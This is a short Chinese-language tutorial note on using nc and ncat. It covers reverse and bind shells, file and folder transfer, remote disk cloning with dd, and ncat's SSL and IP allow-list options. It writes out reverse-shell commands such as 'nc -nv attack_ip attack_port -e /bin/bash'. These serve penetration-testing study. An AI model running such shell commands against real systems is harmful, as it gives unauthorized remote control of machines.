nc和ncat的特殊使用
在平常使用nc只会反弹shell,和文件传输,这里学到一些其他的使用方法记录一下
反弹shell
# 反弹shell
nc -lvp 4444 -e /bin/bash
nc -nv target_ip target_port
# 常用的反弹shell
nc -lvp 4444
nc -nv attack_ip attack_port -e /bin/bash
注意:在最新的netcat
中,不支持-e
或者是-c
参数,建议安装Nmap
的模块Ncat
,提供了丰富nc
的特殊功能。
文件传输
# 接收方
nc -lvp 4444 > test.txt
# 将4444端口监听到的信息保存到 test.txt 文件中
# 传输方
nc -nv target_ip target_port < a.txt
# 将 a.txt 传输到目标服务器
# 另一种方法
# 传输方
nc -lvp 4444 < a.txt
# 将 a.txt 内容传输给连接到的 4444 端口
# 接收方
nc -nv target_ip target_port > test.txt
# 连接到目标的短裤,将数据保存到 test.xt
配合tar命令传输文件夹
# 接收方
nc -lvp 4444 | tar -xvf -
# 传输方
tar -cvf - 目录名 | nc -nv target_ip target_port
# 另一种方法
# 传输方
tar -cvf - 目录名 | nc -lvp 4444
# 接收方
nc -nv target_ip target_port | tar -xvf -
配合dd命令远程克隆磁盘
# 克隆磁盘的一段
nc -lvp 4444 | dd of=/dev/sda_copy
# 远程服务器
dd if=/dev/sda | nc -nv target_ip target_port -q 1
# 将 /dev/sda 传输到需要克隆机器中的 /dev/sda_copy 设备中
其中-q 1
参数代表,传输完成自动退出,在传输文件、文件夹中也可以加入该参数。这里也有另一种反过来的方法复制,这里不再演示
Ncat的使用
Ncat
是nc
的一个升级版,Ncat
可以使用任何nc
可以执行的操作(例如我们上述执行的操作),Ncat
也有其特殊的功能。
nc
在进行传输数据的时候是明文传输,Ncat
可以使用SSL
加密解决这个问题;并且进行反弹shell的操作时,监听的shell
任何人都可以连接,ncat
也可以解决这个问题
常用的参数:
--ssl
:采用ssl加密连接--allow
: 指定可以连接的IP地址
使用实例:
# 共享shell的一方
ncat -lp 4444 --ssl -e /bin/bash --allow 192.168.100.123
# 共享shell到4444端口,启用ssl加密传输,并且只有 192.168.100.123 这个IP地址可以连接
# 连接shell的一方
ncat -nv target_ip target_port --ssl